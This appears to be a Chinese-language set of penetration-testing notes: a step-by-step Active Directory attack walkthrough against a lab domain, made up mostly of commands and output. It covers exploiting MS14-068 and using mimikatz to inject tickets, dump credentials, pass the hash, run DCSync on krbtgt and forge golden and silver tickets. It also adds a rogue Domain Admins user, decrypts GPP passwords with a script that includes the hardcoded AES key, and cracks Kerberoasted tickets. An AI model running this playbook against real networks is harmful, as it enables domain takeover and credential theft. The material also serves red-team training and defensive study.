kerkeo工具 https://github.com/gentilkiwi/kekeo
)
klist
klist purge 删除所有票据
dir \\qianxiao996-dm.qianxiao996.com\C$
whoami /all
SID : S-1-5-21-2461438818-3229013638-4126918765-1108
MS14-068.exe -u @ -s -d -p
MS14-068.exe -u [email protected] -s S-1-5-21-2461438818-3229013638-4126918765-1108 -d 192.168.91.131 -p ABCabc123
mimikatz # kerberos::purge //清空当前凭证
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件 //将上一步生成的票据注入到内存中
dir \\qianxiao996-dm.qianxiao996.com\C$
PsExec.exe \\qianxiao996-dm.qianxiao996.com cmd.exe
net user wangergou ABCabc123 /add /domain
net group "Domain admins" wangergou /add /domain
gpupdate
net user
\\qianxaio996-dm\SYSVOL\qianxiao996.com\Policies\{2999DA01-0F90-44D4-8B7A-BC405D9C349A}\Machine\Preferences\Groups
打开PowerSploit文件夹,进入Exfiltration文件夹,在当前目录打开CMD,并输入powershell –ep bypass,打开Powershell,加载模块:
Import-Module Get-GPPPassword.ps1
Get-GPPPassword
输入以下命令后再次运行Get-GPPPassword:
Add-Type -AssemblyName System.Core
如依然报错,则为环境问题,采取本地破解的方法。
将\SYSVOL\Policies{GUID}\MACHINE\Preferences\Groups下的Group.xml拷贝出来,其内容如下:
使用脚本将其破解,powershell版本如下:
function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
)
try {
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)
switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}
catch {Write-Error $Error[0]}
}
Get-DecryptedCpassword "XXf1z6E2YBAPoxtS3z5gVsxzi/hSbVvi1a5ZRjwlV2w"
破解结果如下:
Kerberos::list
Kerberos::list /export
由于加密类型是RC4_HMAC_MD5,Kerberos协议第四步TGS-REP将会返回用服务帐户的NTLM密码哈希加密的票据。
使用字典进行暴力破解:(2.txt为字典)
python tgsrepcrack.py 2.txt "1-40a10000-linghuchong@MSSQLSvc~College-DS1~1433-COLLEGE.COM.kirbi"
虽然"sekurlsa::pth"在mimikatz中被称之为"Pass The Hash",但是其已经超越了以前的"Pass The Hash",部分人将其命名为"Overpass-the-hash",也就是"Pass-the-key"
登录域成员机器,以管理员身份运行mimikatz,并输入以下命令:
privilege::debug
log
sekurlsa::logonpasswords
抓取的凭证会保存在log中,打开文件可以见到administrator账户的ntlm hash:
Sekurlsa::pth /domain:qianxiao996.com /user:administrator ```
/ntlm:上面保存的ntlm hash
以管理员身份运行mimikatz,导出用户HASH
privilege::debug
log
lsadump::dcsync /user:krbtgt
Hash NTLM: b93dba67240e8236cf1ab028034779e2
aes256_hmac:5c54f6b6d3d4ac4958cf5e04969e60700b69d2285c65ee4e2810e808f4febacc
普通用户权限,尝试列出域控目录
dir \\qianxiao996-dm.qianxiao996.com\C$
查看域用户,可见域管理员账户为administrator
net group "domain admins" /domain
普通用户权限打开mimikatz
kerberos::purge #清空票据
kerberos::golden /admin:administrator /domain:qianxiao996.com /sid:S-1-5-21-2461438818-3229013638-4126918765 /krbtgt:b93dba67240e8236cf1ab028034779e2 /ticket:ticket.kirbi
kerberos::ptt ticket.kirbi
kerberos::tgt(此条命令好像并没有用)
再次尝试列出域控目录
dir \\qianxiao996-dm.qianxiao996.com\C$
查询用户
net user /domain
也可以是使用aes256,也创建不存在的用户
kerberos::purge
kerberos::golden /domain:qiaoxiao996.com /sid:S-1-5-21-2461438818-3229013638-4126918765 /aes256:5c54f6b6d3d4ac4958cf5e04969e60700b69d2285c65ee4e2810e808f4febacc /user:hello /ticket:2345.kirbi
kerberos::ptt 2345.kirbi
假设已经拿到了域控制的权限,并将域控的账户信息记录下来。
privilege::debug
log
sekurlsa::logonPasswords
Username : QIANXIAO996-DM$
NTLM : b1e99870ac1230e33233fb54f240f171
查看本机的SID
whoami /all
SID S-1-5-21-2461438818-3229013638-4126918765-1108
利用此Hash制作一张LDAP服务的白银票据:
kerberos::golden /admin:zhangsanfeng /domain:qianxiao996.com /id:1108 /sid:S-1-5-21-2461438818-3229013638-4126918765-1108 /target:QIANXIAO996-DM.school.com /rc4:b1e99870ac1230e33233fb54f240f171 /service:LDAP /ptt
利用此票据从域控的DCSync上请求krbtgt的凭据:
lsadump::dcsync /dc:QIANXIAO996-DM.qianxiao996.com /domain:qianxiao996.com /user:krbtgt
有了krbtgt的凭据,再进行黄金票据攻击即可。
经测试,请求LDAP需新打开一个mimikztz窗口